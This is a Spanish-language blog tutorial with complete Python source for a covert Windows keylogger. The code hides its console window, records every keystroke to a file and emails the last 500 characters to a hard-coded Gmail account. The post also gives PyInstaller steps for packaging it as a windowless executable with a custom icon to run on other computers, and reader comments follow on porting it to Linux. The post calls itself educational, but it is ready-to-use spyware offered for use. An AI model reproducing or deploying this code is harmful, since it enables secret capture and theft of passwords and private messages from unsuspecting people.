Google+ Seguidores

domingo, 14 de mayo de 2017

Como crear un Keylogger remoto con Python

Con esta entrada quiero explicar como crear un Keylogger remoto en Python. Este Keylogger guarda cada pulsación de tecla y lo almacena en un archivo de texto (output.txt). Después de 500 pulsaciones, el keylogger envía un correo a una dirección específica con los últimos 500 caracteres del archivo .txt. (puedes cambiar la cantidad de pulsaciones)

Puede que el equipo donde quieras probarlo no tenga Python, ni los módulos que el script utiliza, por eso crearemos un archivo ejecutable con PyInstaller y así podremos utilizarlo desde cualquier equipo.



El propósito de la entrada es con fin educativo, no me responsabilizo del uso que hagan con el. Depende completamente de ti!!!

Para que funcione, necesitamos tener instalado
  • pythoncom y pyHook: para capturar los eventos del teclado
  • PyWin32: conjunto de módulos que proporciona acceso a muchas funciones de la API de Windows
  • smtplib: módulo para enviar correo
  • pyinstaller: para crear un ejecutable del Keylogger.py

Explicando cada funcionalidad del Keylogger


Envío de correo: ya hace un tiempo cree una entrada sobre el envío de correo con Python. Puedes ver la entrada en el siguiente link: Enviar correo con python
Esta función es la encargada de enviar el correo electrónico. Cualquier error será atrapado en el try - except


Captura de teclado: esta función se encarga de ir capturando lo que se presiona en el teclado e ir guardándolo en el archivo output.txt. Si se presiona Control + E el programa finaliza. Cuando se presione la primera tecla, el keylogger enviará un correo con el texto "Arrancando..." dando a entender que el programa está en funcionamiento. Esta funcionalidad se repetirá constantemente 


Código completo Keylogger.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
    
import win32console
import win32gui
import pythoncom,pyHook
import time
import smtplib
import os
import sys
 
# www.pythondiario.com
########################################################
# CONFIGURAR VARIABLES
########################################################

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#crea el archivo .txt 
f=open("c:\output.txt","w+")
f.close

#Variable que cuenta las tecas presionadas
count = 0

########################################################
# FUNCIONES
########################################################

def send_email(message):

    try:
        
        # Datos
        fromaddr = 'tuCorreo@gmail.com'
        toaddrs = 'tuCorreo@gmail.com'
        username = 'tuCorreo@gmail.com'
        password = 'tuContraseña'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()

    except:

        pass


def OnKeyboardEvent(event):
    
    global count
    count += 1 
    #presiona CTRL+E para salir
    if event.Ascii==5:
        sys.exit(0)

    if event.Ascii !=0 or 8:
        #abre output.txt
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()        

        if len(buffer)==1:
            send_email("Arranco...")            

        elif  count == 500: 
            #Envia los ultimos 500 caracteres
            capturado = buffer[-500:].replace("\n","
")
            send_email(capturado)
            count = 0
          
        #abre output.txt escribe y suma nuevas pulsaciones
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)

        #si se presiona ENTER
        if event.Ascii==13:
            keylogs='\n'

        #si se preciona ESPACIO 
        if event.Ascii==32:
            keylogs=''

        buffer+=keylogs
        f.write(buffer)
        f.close()

        
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
     

Crear el ejecutable con pyInstaler

Una vez que instales pyinstaler, en consola te posicionas en la carpeta donde se encuentra el archivo pyinstaler.exe y ejecutas el comando:
python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py

--onefile se utiliza para empaquetar todo en un ejecutable
--windowed evita que se abra una ventana (consola) cuando la aplicación se ejecuta

Acuérdate de pasar bien la ruta de la imagen .ico y del archivo keylogger.py. El archivo ejecutable por lo general queda guardado en la carpeta "dist" dentro de la carpeta principal de Python.


Ahora solo resta probar en tu equipo y luego probarlo en otro equipo para ver si realmente funciona. Para ver si se está ejecutando puedes abrir el administrador de tareas de Windows

Saludos, Diego

11 comentarios :
Write comentarios
  1. Hola buenas tardes Diego cada día estoy patidifusa por el material que publicas y hasta los domingos escribes.
    #AdictaAVuestroBlog =D
    Un beso su merced.

    ResponderEliminar
    Respuestas
    1. Gracias Vanessa, no me podía aguantar el post hasta el Lunes jeje.
      Saludos

      Eliminar
  2. Ya no mas falta envolver el dulce para que no se lo coman los niños :P...

    ResponderEliminar
  3. Excelente post! No se puede hacer mejor.
    Cambiaría mucho para hacerlo en linux?

    ResponderEliminar
    Respuestas
    1. Hola, muchas gracias por tu comentario. Creo que para linux lo que cambiaría sería uno de los módulos importados.

      pyxhook - Para Linux
      pyHook - Para Windows

      Tendrías que ver si las funciones dentro del módulo para Linux son iguales a las de Windows, para que este Keylogger te funcione correctamente.
      Saludos

      Eliminar
    2. Muchas gracias a ti por compartir tu sabiduría.
      Soy nuevo en el blog, pero me parece que voy a hacerme un incondicional xD.
      Una preguntilla más, ¿Como puedo hacer un ejecutable para linux?

      Eliminar
    3. Prueba hacer esto:

      desde la terminal pon este codigo:
      sudo chmod a+x nombre_de_archivo.py

      despues de esto, abre el codigo del programa y coloca el siguiente codigo en la primera linea de tu programa:
      #!/usr/bin/env python

      Luego ejecuta y prueba!!!

      Eliminar
  4. Amigo me sale lo siguiente
    Traceback (most recent call last):
    File "C:/secret/jh.py", line 4, in
    import win32console
    ImportError: DLL load failed: No se puede encontrar el módulo especificado.
    >>>

    ResponderEliminar
    Respuestas
    1. Hola, gracias por visitar el blog!!! Tienes instalado el modulo PyWin32? en el inicio del post indico de donde descargarlo. Saludos

      Eliminar
  5. buenas buenas, quiero hacer uno pero no me sale sera que te puedes comunicar conmigo por correo, muachas gracias rafagomezbastardo@hotmail.com... es que tengo problema con en pyhook

    ResponderEliminar
    Respuestas
    1. Hola Ruth, gracias por visitar el blog!!! Cual es el error que estas teniendo, así también nos sirve como retro alimentación!!!
      Saludos

      Eliminar

Tu comentario es importante y nos motiva a seguir escribiendo...

Entradas más recientes

Powered by Blogger .